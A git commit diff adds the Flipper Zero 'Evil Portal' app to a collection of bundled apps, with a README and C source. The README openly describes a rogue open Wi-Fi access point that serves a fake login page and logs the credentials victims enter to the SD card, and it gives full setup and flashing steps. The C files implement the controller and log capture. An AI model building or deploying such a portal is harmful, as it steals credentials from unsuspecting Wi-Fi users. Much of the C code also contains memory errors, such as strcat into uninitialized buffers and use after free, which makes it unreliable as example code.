MX 2 лет назад
Родитель
Сommit
42389de5c9

+ 2 - 1
ReadMe.md

@@ -20,7 +20,7 @@ Sources of "integrated/bundled" apps are added now in this repo too, to allow pu
 
 The Flipper and its community wouldn't be as rich as it is without your contributions and support. Thank you for all you have done.
 
-### Apps checked & updated at `1 Jul 16:09 GMT +3`
+### Apps checked & updated at `5 Jul 19:55 GMT +3`
 
 ## Games
 - [Pong (By nmrr)](https://github.com/nmrr/flipperzero-pong) - Modified by [SimplyMinimal](https://github.com/SimplyMinimal/FlipperZero-Pong)
@@ -99,6 +99,7 @@ The Flipper and its community wouldn't be as rich as it is without your contribu
 - [Wiegand Reader (By jamisonderek)](https://github.com/jamisonderek/flipper-zero-tutorials/tree/main/gpio)
 - [MH-Z19 - CO2 sensor (By meshchaninov)](https://github.com/meshchaninov/flipper-zero-mh-z19)
 - [Plantower PMSx003 sensor reader (By 3cky)](https://github.com/3cky/flipperzero-airmon)
+- [Evil captive portal (By bigbrodude6119)](https://github.com/bigbrodude6119/flipper-zero-evil-portal) - WIP
 
 ## Tools / Misc
 - [Calculator (By n-o-T-I-n-s-a-n-e)](https://github.com/n-o-T-I-n-s-a-n-e)

BIN
apps/GPIO/evil_portal.fap


+ 21 - 0
apps_source_code/flipper-evil-portal/LICENSE.txt

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2023 bigbrodude6119
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

+ 194 - 0
apps_source_code/flipper-evil-portal/README.md

@@ -0,0 +1,194 @@
+# Flipper Zero Evil Portal
+
+An evil captive portal Wi-Fi access point using the Flipper Zero and Wi-Fi dev board
+
+## About
+
+**This project is a work in progress.**
+
+This project will turn your Wi-Fi dev board into an open access point. When users try to connect to this access point they will be served a fake login screen. User credentials are sent to the Flipper and logged on the SD card.
+
+## Disclaimer
+
+I am not a C developer and I am using this project as a way to learn more about esp32, flipper zero and, C programming.
+
+This program is for educational purposes only.
+
+## Getting Started
+
+There are pre-built .fap files for the official FW (untested) as well as unleashed FW (tested).
+
+You will need to manually flash the Wi-Fi dev board.
+
+### Install pre-built app on the flipper
+
+Go to the releases section on this repo and download and extract either the `ofw-evil_portal.fap.zip` file or the `unleashed-evil_portal.fap.zip` file depending on if you are using the official firmware (ofw) or the unleashed firmware. These files will contain the `evil_portal.fap` file for your firmware.
+
+You will also need to download and extract the `evil_portal_sd_folder.zip` folder. This will contain necessary files for the app to run.
+
+Put the `evil_portal.fap` file into the `apps/GPIO/` folder on your Flipper SD card.
+
+Put the `evil_portal` folder into the `apps_data` folder.
+This is an example of your Flipper SD card if done correctly.
+
+```
+apps/
+  GPIO/
+    evil_portal.fap
+apps_data/
+  evil_portal/
+    ap.config.txt
+    index.html
+    logs/
+      <empty>
+```
+
+You should be able to see the `[ESP32] Evil Portal` app on your flipper zero now.
+
+If you want to create your own `index.html` file keep in mind that there is a limit of 4000 characters for the file. I plan to increase this later but I ran into some issues with larger files.
+
+## Installing/flashing the Wi-Fi dev board
+
+If you've already flashed your Wi-Fi dev board with the Marauder firmware or something else you will need to erase it before installing the new firmware here. Follow [the guide here](#erasing-firmware) for that.
+
+Follow the steps below to flash the Wi-Fi dev board with the evil portal firmware via Windows. The instructions below are for the Flipper Zero Wi-Fi Wrover Development Module (**ESP32-S2**), you may have to adjust the steps for your specific board:
+
+1. Download and install the Arduino IDE from [here][link-arduino].
+2. Download zip/clone dependency [AsyncTCP][link-asynctcp] to file.
+3. Download zip/clone dependency [ESPAsyncWebServer][link-espasyncwebserver] to file.
+4. Unzip both dependencies to your Arduino library folder.
+   - On Windows this is usually `C:\Users\<username>\Documents\Arduino\libraries`.
+5. Go to the releases section on this repo and download the `EvilPortal.ino` file, open it with Arduino IDE.
+6. Go to `File > Preferences` and paste the following two URL's into the `Additional Boards Manager URLs` field:
+   ```
+   https://dl.espressif.com/dl/package_esp32_index.json
+   https://raw.githubusercontent.com/espressif/arduino-esp32/gh-pages/package_esp32_dev_index.json
+   ```
+7. Go to `Tools > Board > Boards Manager...` and search for `esp32` and install `esp32 by Espressif Systems`.
+8. Go to `Tools > Board` and select `ESP32S2 Dev Module`.
+9. On your ESP32-S2 Wi-Fi module, hold the BOOT button.
+10. Connect your ESP32-S2 to your computer, keep holding the BOOT button (holding for just 3-5 seconds and releasing may be fine, continuously holding worked better for me).
+11. Go to `Tools > Port` and select the port that appeared when you connected your ESP32-S2.
+12. Click the "Upload" button in the top left corner of the Arduino IDE.
+13. On success, you will see:
+    ```
+    Hash of data verified.
+    Leaving...
+    WARNING: ESP32-S2 (revision v0.0) chip was placed into download mode...
+    ```
+14. Plug in the Wi-Fi Dev board to the flipper, press the reset button on the Wi-Fi dev board and you should now see a solid blue light.
+
+## Installing/flashing an ESP32 Wroom board
+
+Reddit user dellycem [compiled binaries](https://old.reddit.com/r/flipperzero/comments/14ni93r/i_made_a_evil_portal_app_for_the_fz_wifi_dev_board/jqd42fi/?context=3) for the ESP32 Wroom board if you would like to use that instead of the Wi-Fi devboard.
+
+1. Download the bin files from [this link](https://wetransfer.com/downloads/4d3dd914f2df43dc6c84efa452043f4220230702094742/33a478)
+2. Go to [ESPWebTool](https://esp.huhn.me/) and get your board connected.
+3. Add each of the bin files at the following locations
+   ```
+   EvilPortal.bootloader.bin - 0x1000
+   EvilPortal.partitions.bin - 0x8000
+   boot_app0.bin - 0xe000
+   EvilPortal.bin - 0x10000
+   ```
+4. Press the program button and wait while your board is flashed.
+5. Once complete, hook up the 3.3v, GND, RX0, and TX0 pins to the flipper zero. Remember that the RX/TX pins should go to the opposite pins on the flipper zero. RX -> TX, TX -> RX.
+
+## Usage
+
+Plug in the Wi-Fi Dev board to the flipper.
+
+Open the app on the Flipper and press `Start portal` on the main menu. After a few seconds you should start to see logs coming in from your Wi-Fi dev board and the AP will start and the LED will turn green.
+
+The AP will take the name that is in the `ap.config.txt` file located on your Flipper in the `apps_data/evil_portal/` folder.
+
+When you connect to the AP a web page will open after a few seconds. This web page contains the HTML located in the `index.html` file located on your Flipper in the `apps_data/evil_portal/` folder.
+
+You can stop the portal by pressing `Stop portal` on the main menu. The LED should turn blue.
+
+You can manually save logs using the `Save logs` command. Logs will be stored in the `logs` folder that is in your `apps_data/evil_portal/` folder.
+
+Logs will automatically be saved when exiting the app or when the current log reaches 4000 characters.
+
+## Building for different firmware
+
+If you are not using the official flipper zero firmware or the unleashed firmware you can build the .fap file yourself by following [these instructions](https://github.com/flipperdevices/flipperzero-firmware/blob/dev/documentation/AppsOnSDCard.md).
+
+Note that you will need to use the firmware repo that you wish to build for.
+
+You can also download builds for each firmware via [flipc](https://flipc.org/bigbrodude6119/flipper-zero-evil-portal?branch=main&root=flipper%2Fflipper-evil-portal).
+
+## Erasing firmware <a name="erasing-firmware"></a>
+
+Assuming you have the Flipper Zero Wi-Fi Wrover Development Module (**ESP32-S2**):
+
+1. Install [Python][link-python].
+2. Open a command terminal as an administrator:
+   - On Windows press ⊞Win+R, type "cmd", and press CTRL+SHIFT+ENTER.
+3. In the terminal type the following to install [esptool][link-esptool] via Python package manager:
+   ```
+   pip install esptool
+   ```
+4. Install [setuptools][link-setuptools] dependencies:
+   ```
+   pip install setuptools
+   ```
+5. Enter the following command into your terminal, do not run it yet:
+   ```
+   python -m esptool --chip esp32s2 erase_flash
+   ```
+6. On your ESP32-S2 Wi-Fi module, hold the BOOT button.
+7. Connect your ESP32-S2 to your computer, keep holding the BOOT button.
+8. In your terminal press enter to run the command from step 5.
+9. When successful you will get the message `Chip erase completed successfully in ___s` (time in seconds suffixed with "s").
+10. Unplug/reset your board.
+
+## Issues
+
+If you run into any issues make sure that you have the required files set up on the Flipper `apps_data` folder on the Flipper SD card.
+
+Logs will not be saved if there is no `logs` folder in `apps_data/evil_portal/`.
+
+If the AP won't start or you have other issues try pressing reset on the Wi-Fi dev board, waiting a few seconds, and pressing `Start portal` on the main menu.
+
+It is important to give the devboard some time to load the html files from the Flipper.
+
+If you have the Marauder firmware on your dev board you may need to enable `Erase All Flash Before Sketch Upload` before flashing.
+
+Some users are reporting that the captive portal login does not open on some Android phones.
+
+## Todo
+
+I plan on working on this in my free time. Here is my todo list.
+
+- Support for multiple portals
+- Enter AP name on the Flipper
+- Add a config file for general app settings
+- Create cleaner log files that are easier to read
+- Clean up code & implement best practices
+
+## License
+
+Distributed under the MIT License. See `LICENSE.txt` for more information.
+
+## Acknowledgments
+
+I was only able to create this using the following apps as examples
+
+- [flipperzero-wifi-marauder](https://github.com/0xchocolate/flipperzero-wifi-marauder)
+- [UART_Terminal](https://github.com/cool4uma/UART_Terminal)
+- [flipper-zero-fap-boilerplate](https://github.com/leedave/flipper-zero-fap-boilerplate)
+- [Create Captive Portal Using ESP32](https://iotespresso.com/create-captive-portal-using-esp32/)
+
+## Contact me
+
+You can message me on my reddit account bigbrodude6119
+
+<!-- LINKS -->
+
+[link-arduino]: https://www.arduino.cc/en/software
+[link-asynctcp]: https://github.com/me-no-dev/AsyncTCP
+[link-espasyncwebserver]: https://github.com/me-no-dev/ESPAsyncWebServer
+[link-esptool]: https://pypi.org/project/esptool/
+[link-python]: https://www.python.org/downloads/
+[link-setuptools]: https://pypi.org/project/setuptools/

+ 12 - 0
apps_source_code/flipper-evil-portal/application.fam

@@ -0,0 +1,12 @@
+App(
+    appid="evil_portal",
+    name="[ESP32] Evil Portal",
+    apptype=FlipperAppType.EXTERNAL,
+    entry_point="evil_portal_app",
+    cdefines=["APP_EVIL_PORTAL"],
+    requires=["gui"],
+    stack_size=1 * 1024,
+    order=90,
+    fap_icon="icons/evil_portal_10px.png",
+    fap_category="GPIO",    
+)

+ 120 - 0
apps_source_code/flipper-evil-portal/evil_portal_app.c

@@ -0,0 +1,120 @@
+#include "evil_portal_app_i.h"
+#include "helpers/evil_portal_storage.h"
+
+#include <furi.h>
+#include <furi_hal.h>
+
+static bool evil_portal_app_custom_event_callback(void *context,
+                                                  uint32_t event) {
+  furi_assert(context);
+  Evil_PortalApp *app = context;
+  return scene_manager_handle_custom_event(app->scene_manager, event);
+}
+
+static bool evil_portal_app_back_event_callback(void *context) {
+  furi_assert(context);
+  Evil_PortalApp *app = context;
+  return scene_manager_handle_back_event(app->scene_manager);
+}
+
+static void evil_portal_app_tick_event_callback(void *context) {
+  furi_assert(context);
+  Evil_PortalApp *app = context;
+  scene_manager_handle_tick_event(app->scene_manager);
+}
+
+Evil_PortalApp *evil_portal_app_alloc() {
+  Evil_PortalApp *app = malloc(sizeof(Evil_PortalApp));
+
+  app->sent_html = false;
+  app->sent_ap = false;
+  app->sent_reset = false;
+  app->has_command_queue = false;  
+  app->command_index = 0;
+  app->portal_logs = malloc(5000);
+
+  app->gui = furi_record_open(RECORD_GUI);
+
+  app->view_dispatcher = view_dispatcher_alloc();
+  app->scene_manager = scene_manager_alloc(&evil_portal_scene_handlers, app);
+  view_dispatcher_enable_queue(app->view_dispatcher);
+  view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
+
+  view_dispatcher_set_custom_event_callback(
+      app->view_dispatcher, evil_portal_app_custom_event_callback);
+  view_dispatcher_set_navigation_event_callback(
+      app->view_dispatcher, evil_portal_app_back_event_callback);
+  view_dispatcher_set_tick_event_callback(
+      app->view_dispatcher, evil_portal_app_tick_event_callback, 100);
+
+  view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui,
+                                ViewDispatcherTypeFullscreen);
+
+  app->var_item_list = variable_item_list_alloc();
+  view_dispatcher_add_view(app->view_dispatcher, Evil_PortalAppViewVarItemList,
+                           variable_item_list_get_view(app->var_item_list));
+
+  for (int i = 0; i < NUM_MENU_ITEMS; ++i) {
+    app->selected_option_index[i] = 0;
+  }
+
+  app->text_box = text_box_alloc();
+  view_dispatcher_add_view(app->view_dispatcher,
+                           Evil_PortalAppViewConsoleOutput,
+                           text_box_get_view(app->text_box));
+  app->text_box_store = furi_string_alloc();
+  furi_string_reserve(app->text_box_store, EVIL_PORTAL_TEXT_BOX_STORE_SIZE);
+
+  scene_manager_next_scene(app->scene_manager, Evil_PortalSceneStart);
+
+  return app;
+}
+
+void evil_portal_app_free(Evil_PortalApp *app) {  
+
+  // save latest logs
+  if (strlen(app->portal_logs) > 0) {
+    write_logs(app->portal_logs);
+    free(app->portal_logs);
+  }
+
+  // Send reset event to dev board
+  evil_portal_uart_tx((uint8_t *)(RESET_CMD), strlen(RESET_CMD));
+  evil_portal_uart_tx((uint8_t *)("\n"), 1);
+
+  furi_assert(app);
+
+  // Views
+  view_dispatcher_remove_view(app->view_dispatcher,
+                              Evil_PortalAppViewVarItemList);
+  view_dispatcher_remove_view(app->view_dispatcher,
+                              Evil_PortalAppViewConsoleOutput);
+
+  text_box_free(app->text_box);
+  furi_string_free(app->text_box_store);
+
+  // View dispatcher
+  view_dispatcher_free(app->view_dispatcher);
+  scene_manager_free(app->scene_manager);
+
+  evil_portal_uart_free(app->uart);
+
+  // Close records
+  furi_record_close(RECORD_GUI);
+
+  free(app);
+}
+
+int32_t evil_portal_app(void *p) {  
+  UNUSED(p);
+  Evil_PortalApp *evil_portal_app = evil_portal_app_alloc();
+
+  evil_portal_app->uart = evil_portal_uart_init(evil_portal_app);
+
+  view_dispatcher_run(evil_portal_app->view_dispatcher);  
+
+  // crashing here
+  evil_portal_app_free(evil_portal_app);
+
+  return 0;
+}

+ 11 - 0
apps_source_code/flipper-evil-portal/evil_portal_app.h

@@ -0,0 +1,11 @@
+#pragma once
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+typedef struct Evil_PortalApp Evil_PortalApp;
+
+#ifdef __cplusplus
+}
+#endif

+ 60 - 0
apps_source_code/flipper-evil-portal/evil_portal_app_i.h

@@ -0,0 +1,60 @@
+#pragma once
+
+#include "evil_portal_app.h"
+#include "evil_portal_custom_event.h"
+#include "evil_portal_uart.h"
+#include "scenes/evil_portal_scene.h"
+
+#include <gui/gui.h>
+#include <gui/modules/text_box.h>
+#include <gui/modules/variable_item_list.h>
+#include <gui/scene_manager.h>
+#include <gui/view_dispatcher.h>
+
+#define NUM_MENU_ITEMS (4)
+
+#define EVIL_PORTAL_TEXT_BOX_STORE_SIZE (4096)
+#define UART_CH (FuriHalUartIdUSART1)
+
+#define SET_HTML_CMD "sethtml"
+#define SET_AP_CMD "setap"
+#define RESET_CMD "reset"
+
+struct Evil_PortalApp {
+  Gui *gui;
+  ViewDispatcher *view_dispatcher;
+  SceneManager *scene_manager;
+
+  char* portal_logs;
+  const char *command_queue[1];
+  int command_index;
+  bool has_command_queue;
+
+  FuriString *text_box_store;
+  size_t text_box_store_strlen;
+  TextBox *text_box;
+
+  VariableItemList *var_item_list;
+  Evil_PortalUart *uart;
+
+  int selected_menu_index;
+  int selected_option_index[NUM_MENU_ITEMS];
+  const char *selected_tx_string;
+  bool is_command;
+  bool is_custom_tx_string;
+  bool focus_console_start;
+  bool show_stopscan_tip;
+  bool sent_ap;
+  bool sent_html;
+  bool sent_reset;
+  int BAUDRATE;
+
+  uint8_t *index_html;
+  uint8_t *ap_name;
+};
+
+typedef enum {
+  Evil_PortalAppViewVarItemList,
+  Evil_PortalAppViewConsoleOutput,
+  Evil_PortalAppViewStartPortal,
+} Evil_PortalAppView;

+ 8 - 0
apps_source_code/flipper-evil-portal/evil_portal_custom_event.h

@@ -0,0 +1,8 @@
+#pragma once
+
+typedef enum {
+  Evil_PortalEventRefreshConsoleOutput = 0,
+  Evil_PortalEventStartConsole,
+  Evil_PortalEventStartKeyboard,
+  Evil_PortalEventStartPortal,
+} Evil_PortalCustomEvent;

+ 138 - 0
apps_source_code/flipper-evil-portal/evil_portal_uart.c

@@ -0,0 +1,138 @@
+#include "evil_portal_app_i.h"
+#include "evil_portal_uart.h"
+#include "helpers/evil_portal_storage.h"
+
+struct Evil_PortalUart {
+  Evil_PortalApp *app;
+  FuriThread *rx_thread;
+  FuriStreamBuffer *rx_stream;
+  uint8_t rx_buf[RX_BUF_SIZE + 1];
+  void (*handle_rx_data_cb)(uint8_t *buf, size_t len, void *context);
+};
+
+typedef enum {
+  WorkerEvtStop = (1 << 0),
+  WorkerEvtRxDone = (1 << 1),
+} WorkerEvtFlags;
+
+void evil_portal_uart_set_handle_rx_data_cb(
+    Evil_PortalUart *uart,
+    void (*handle_rx_data_cb)(uint8_t *buf, size_t len, void *context)) {
+  furi_assert(uart);
+  uart->handle_rx_data_cb = handle_rx_data_cb;
+}
+
+#define WORKER_ALL_RX_EVENTS (WorkerEvtStop | WorkerEvtRxDone)
+
+void evil_portal_uart_on_irq_cb(UartIrqEvent ev, uint8_t data, void *context) {
+  Evil_PortalUart *uart = (Evil_PortalUart *)context;
+
+  if (ev == UartIrqEventRXNE) {
+    furi_stream_buffer_send(uart->rx_stream, &data, 1, 0);
+    furi_thread_flags_set(furi_thread_get_id(uart->rx_thread), WorkerEvtRxDone);
+  }
+}
+
+static int32_t uart_worker(void *context) {
+  Evil_PortalUart *uart = (void *)context;
+
+  while (1) {
+
+    uint32_t events = furi_thread_flags_wait(WORKER_ALL_RX_EVENTS,
+                                             FuriFlagWaitAny, FuriWaitForever);
+    furi_check((events & FuriFlagError) == 0);
+    if (events & WorkerEvtStop)
+      break;
+    if (events & WorkerEvtRxDone) {
+      size_t len = furi_stream_buffer_receive(uart->rx_stream, uart->rx_buf,
+                                              RX_BUF_SIZE, 0);
+
+      if (len > 0) {
+        if (uart->handle_rx_data_cb) {
+          uart->handle_rx_data_cb(uart->rx_buf, len, uart->app);
+
+          if (uart->app->has_command_queue) {
+            if (uart->app->command_index < 1) {
+              if (0 ==
+                  strncmp(SET_AP_CMD,
+                          uart->app->command_queue[uart->app->command_index],
+                          strlen(SET_AP_CMD))) {
+                char *out_data =
+                    malloc((size_t)(strlen((char *)uart->app->ap_name) +
+                                    strlen("setap=")));
+                strcat(out_data, "setap=");
+                strcat(out_data, (char *)uart->app->ap_name);
+
+                evil_portal_uart_tx((uint8_t *)(out_data), strlen(out_data));
+                evil_portal_uart_tx((uint8_t *)("\n"), 1);
+
+                uart->app->sent_ap = true;
+
+                free(out_data);
+                free(uart->app->ap_name);
+              }
+
+              uart->app->command_index = 0;
+              uart->app->has_command_queue = false;
+              uart->app->command_queue[0] = "";
+            }
+          }
+
+          if (uart->app->sent_reset == false) {
+            strcat(uart->app->portal_logs, (char *)uart->rx_buf);
+          }
+
+          if (strlen(uart->app->portal_logs) > 4000) {
+            write_logs(uart->app->portal_logs);
+            free(uart->app->portal_logs);
+            strcpy(uart->app->portal_logs, "");
+          }
+        }
+      }
+    }
+  }
+
+  furi_stream_buffer_free(uart->rx_stream);
+
+  return 0;
+}
+
+void evil_portal_uart_tx(uint8_t *data, size_t len) {
+  furi_hal_uart_tx(UART_CH, data, len);
+}
+
+Evil_PortalUart *evil_portal_uart_init(Evil_PortalApp *app) {
+  Evil_PortalUart *uart = malloc(sizeof(Evil_PortalUart));
+  uart->app = app;
+  // Init all rx stream and thread early to avoid crashes
+  uart->rx_stream = furi_stream_buffer_alloc(RX_BUF_SIZE, 1);
+  uart->rx_thread = furi_thread_alloc();
+  furi_thread_set_name(uart->rx_thread, "Evil_PortalUartRxThread");
+  furi_thread_set_stack_size(uart->rx_thread, 1024);
+  furi_thread_set_context(uart->rx_thread, uart);
+  furi_thread_set_callback(uart->rx_thread, uart_worker);
+
+  furi_thread_start(uart->rx_thread);
+
+  furi_hal_console_disable();
+  if (app->BAUDRATE == 0) {
+    app->BAUDRATE = 115200;
+  }
+  furi_hal_uart_set_br(UART_CH, app->BAUDRATE);
+  furi_hal_uart_set_irq_cb(UART_CH, evil_portal_uart_on_irq_cb, uart);
+
+  return uart;
+}
+
+void evil_portal_uart_free(Evil_PortalUart *uart) {
+  furi_assert(uart);
+
+  furi_thread_flags_set(furi_thread_get_id(uart->rx_thread), WorkerEvtStop);
+  furi_thread_join(uart->rx_thread);
+  furi_thread_free(uart->rx_thread);
+
+  furi_hal_uart_set_irq_cb(UART_CH, NULL, NULL);
+  furi_hal_console_enable();
+
+  free(uart);
+}

+ 14 - 0
apps_source_code/flipper-evil-portal/evil_portal_uart.h

@@ -0,0 +1,14 @@
+#pragma once
+
+#include "furi_hal.h"
+
+#define RX_BUF_SIZE (320)
+
+typedef struct Evil_PortalUart Evil_PortalUart;
+
+void evil_portal_uart_set_handle_rx_data_cb(
+    Evil_PortalUart *uart,
+    void (*handle_rx_data_cb)(uint8_t *buf, size_t len, void *context));
+void evil_portal_uart_tx(uint8_t *data, size_t len);
+Evil_PortalUart *evil_portal_uart_init(Evil_PortalApp *app);
+void evil_portal_uart_free(Evil_PortalUart *uart);

+ 120 - 0
apps_source_code/flipper-evil-portal/helpers/evil_portal_storage.c

@@ -0,0 +1,120 @@
+#include "evil_portal_storage.h"
+
+static Storage *evil_portal_open_storage() {
+  return furi_record_open(RECORD_STORAGE);
+}
+
+static void evil_portal_close_storage() { furi_record_close(RECORD_STORAGE); }
+
+void evil_portal_read_index_html(void *context) {
+
+  Evil_PortalApp *app = context;
+  Storage *storage = evil_portal_open_storage();
+  FileInfo fi;
+
+  if (storage_common_stat(storage, EVIL_PORTAL_INDEX_SAVE_PATH, &fi) ==
+      FSE_OK) {
+    File *index_html = storage_file_alloc(storage);
+    if (storage_file_open(index_html, EVIL_PORTAL_INDEX_SAVE_PATH, FSAM_READ,
+                          FSOM_OPEN_EXISTING)) {
+      app->index_html = malloc((size_t)fi.size);
+      uint8_t *buf_ptr = app->index_html;
+      size_t read = 0;
+      while (read < fi.size) {
+        size_t to_read = fi.size - read;
+        if (to_read > UINT16_MAX)
+          to_read = UINT16_MAX;
+        uint16_t now_read =
+            storage_file_read(index_html, buf_ptr, (uint16_t)to_read);
+        read += now_read;
+        buf_ptr += now_read;
+      }
+      free(buf_ptr);
+    }
+    storage_file_close(index_html);
+    storage_file_free(index_html);
+  } else {
+    char *html_error =
+        "<b>Evil portal</b><br>Unable to read the html file.<br>"
+        "Is the SD Card set up correctly? <br>See instructions @ "
+        "github.com/bigbrodude6119/flipper-zero-evil-portal<br>"
+        "Under the 'Install pre-built app on the flipper' section.";
+    app->index_html = (uint8_t *)html_error;
+  }
+
+  evil_portal_close_storage();
+}
+
+void evil_portal_read_ap_name(void *context) {
+  Evil_PortalApp *app = context;
+  Storage *storage = evil_portal_open_storage();
+  FileInfo fi;
+
+  if (storage_common_stat(storage, EVIL_PORTAL_AP_SAVE_PATH, &fi) == FSE_OK) {
+    File *ap_name = storage_file_alloc(storage);
+    if (storage_file_open(ap_name, EVIL_PORTAL_AP_SAVE_PATH, FSAM_READ,
+                          FSOM_OPEN_EXISTING)) {
+      app->ap_name = malloc((size_t)fi.size);
+      uint8_t *buf_ptr = app->ap_name;
+      size_t read = 0;
+      while (read < fi.size) {
+        size_t to_read = fi.size - read;
+        if (to_read > UINT16_MAX)
+          to_read = UINT16_MAX;
+        uint16_t now_read =
+            storage_file_read(ap_name, buf_ptr, (uint16_t)to_read);
+        read += now_read;
+        buf_ptr += now_read;
+      }
+      free(buf_ptr);
+    }
+    storage_file_close(ap_name);
+    storage_file_free(ap_name);
+  } else {
+    char *app_default = "Evil Portal";
+    app->ap_name = (uint8_t *)app_default;
+  }
+  evil_portal_close_storage();
+}
+
+char *sequential_file_resolve_path(Storage *storage, const char *dir,
+                                   const char *prefix, const char *extension) {
+  if (storage == NULL || dir == NULL || prefix == NULL || extension == NULL) {
+    return NULL;
+  }
+
+  char file_path[256];
+  int file_index = 0;
+
+  do {
+    if (snprintf(file_path, sizeof(file_path), "%s/%s_%d.%s", dir, prefix,
+                 file_index, extension) < 0) {
+      return NULL;
+    }
+    file_index++;
+  } while (storage_file_exists(storage, file_path));
+
+  return strdup(file_path);
+}
+
+void write_logs(char *portal_logs) {
+  Storage *storage = evil_portal_open_storage();
+
+  if (!storage_file_exists(storage, EVIL_PORTAL_LOG_SAVE_PATH)) {
+    storage_simply_mkdir(storage, EVIL_PORTAL_LOG_SAVE_PATH);
+  }
+
+  char *seq_file_path = sequential_file_resolve_path(
+      storage, EVIL_PORTAL_LOG_SAVE_PATH, "log", "txt");
+
+  File *file = storage_file_alloc(storage);
+
+  if (storage_file_open(file, seq_file_path, FSAM_WRITE, FSOM_CREATE_ALWAYS)) {
+    storage_file_write(file, portal_logs, strlen(portal_logs));
+  }
+  storage_file_close(file);
+  storage_file_free(file);
+  evil_portal_close_storage();
+
+  portal_logs = "";
+}

+ 17 - 0
apps_source_code/flipper-evil-portal/helpers/evil_portal_storage.h

@@ -0,0 +1,17 @@
+#include "../evil_portal_app_i.h"
+#include <flipper_format/flipper_format_i.h>
+#include <lib/toolbox/stream/file_stream.h>
+#include <stdlib.h>
+#include <storage/storage.h>
+#include <string.h>
+
+#define PORTAL_FILE_DIRECTORY_PATH EXT_PATH("apps_data/evil_portal")
+#define EVIL_PORTAL_INDEX_SAVE_PATH PORTAL_FILE_DIRECTORY_PATH "/index.html"
+#define EVIL_PORTAL_AP_SAVE_PATH PORTAL_FILE_DIRECTORY_PATH "/ap.config.txt"
+#define EVIL_PORTAL_LOG_SAVE_PATH PORTAL_FILE_DIRECTORY_PATH "/logs"
+
+void evil_portal_read_index_html(void *context);
+void evil_portal_read_ap_name(void *context);
+void write_logs(char* portal_logs);
+char *sequential_file_resolve_path(Storage *storage, const char *dir,
+                                   const char *prefix, const char *extension);

BIN
apps_source_code/flipper-evil-portal/icons/evil_portal_10px.png


+ 31 - 0
apps_source_code/flipper-evil-portal/scenes/evil_portal_scene.c

@@ -0,0 +1,31 @@
+#include "evil_portal_scene.h"
+
+// Generate scene on_enter handlers array
+#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter,
+void (*const evil_portal_scene_on_enter_handlers[])(void *) = {
+#include "evil_portal_scene_config.h"
+};
+#undef ADD_SCENE
+
+// Generate scene on_event handlers array
+#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event,
+bool (*const evil_portal_scene_on_event_handlers[])(void *context,
+                                                    SceneManagerEvent event) = {
+#include "evil_portal_scene_config.h"
+};
+#undef ADD_SCENE
+
+// Generate scene on_exit handlers array
+#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit,
+void (*const evil_portal_scene_on_exit_handlers[])(void *context) = {
+#include "evil_portal_scene_config.h"
+};
+#undef ADD_SCENE
+
+// Initialize scene handlers configuration structure
+const SceneManagerHandlers evil_portal_scene_handlers = {
+    .on_enter_handlers = evil_portal_scene_on_enter_handlers,
+    .on_event_handlers = evil_portal_scene_on_event_handlers,
+    .on_exit_handlers = evil_portal_scene_on_exit_handlers,
+    .scene_num = Evil_PortalSceneNum,
+};

+ 31 - 0
apps_source_code/flipper-evil-portal/scenes/evil_portal_scene.h

@@ -0,0 +1,31 @@
+#pragma once
+
+#include <gui/scene_manager.h>
+
+// Generate scene id and total number
+#define ADD_SCENE(prefix, name, id) Evil_PortalScene##id,
+typedef enum {
+#include "evil_portal_scene_config.h"
+  Evil_PortalSceneNum,
+} Evil_PortalScene;
+#undef ADD_SCENE
+
+extern const SceneManagerHandlers evil_portal_scene_handlers;
+
+// Generate scene on_enter handlers declaration
+#define ADD_SCENE(prefix, name, id)                                            \
+  void prefix##_scene_##name##_on_enter(void *);
+#include "evil_portal_scene_config.h"
+#undef ADD_SCENE
+
+// Generate scene on_event handlers declaration
+#define ADD_SCENE(prefix, name, id)                                            \
+  bool prefix##_scene_##name##_on_event(void *context, SceneManagerEvent event);
+#include "evil_portal_scene_config.h"
+#undef ADD_SCENE
+
+// Generate scene on_exit handlers declaration
+#define ADD_SCENE(prefix, name, id)                                            \
+  void prefix##_scene_##name##_on_exit(void *context);
+#include "evil_portal_scene_config.h"
+#undef ADD_SCENE

+ 2 - 0
apps_source_code/flipper-evil-portal/scenes/evil_portal_scene_config.h

@@ -0,0 +1,2 @@
+ADD_SCENE(evil_portal, start, Start)
+ADD_SCENE(evil_portal, console_output, ConsoleOutput)

+ 158 - 0
apps_source_code/flipper-evil-portal/scenes/evil_portal_scene_console_output.c

@@ -0,0 +1,158 @@
+#include "../evil_portal_app_i.h"
+#include "../helpers/evil_portal_storage.h"
+
+void evil_portal_console_output_handle_rx_data_cb(uint8_t *buf, size_t len,
+                                                  void *context) {
+  furi_assert(context);
+  Evil_PortalApp *app = context;
+
+  // If text box store gets too big, then truncate it
+  app->text_box_store_strlen += len;
+  if (app->text_box_store_strlen >= EVIL_PORTAL_TEXT_BOX_STORE_SIZE - 1) {
+    furi_string_right(app->text_box_store, app->text_box_store_strlen / 2);
+    app->text_box_store_strlen = furi_string_size(app->text_box_store) + len;
+  }
+
+  // Null-terminate buf and append to text box store
+  buf[len] = '\0';
+  furi_string_cat_printf(app->text_box_store, "%s", buf);
+
+  view_dispatcher_send_custom_event(app->view_dispatcher,
+                                    Evil_PortalEventRefreshConsoleOutput);
+}
+
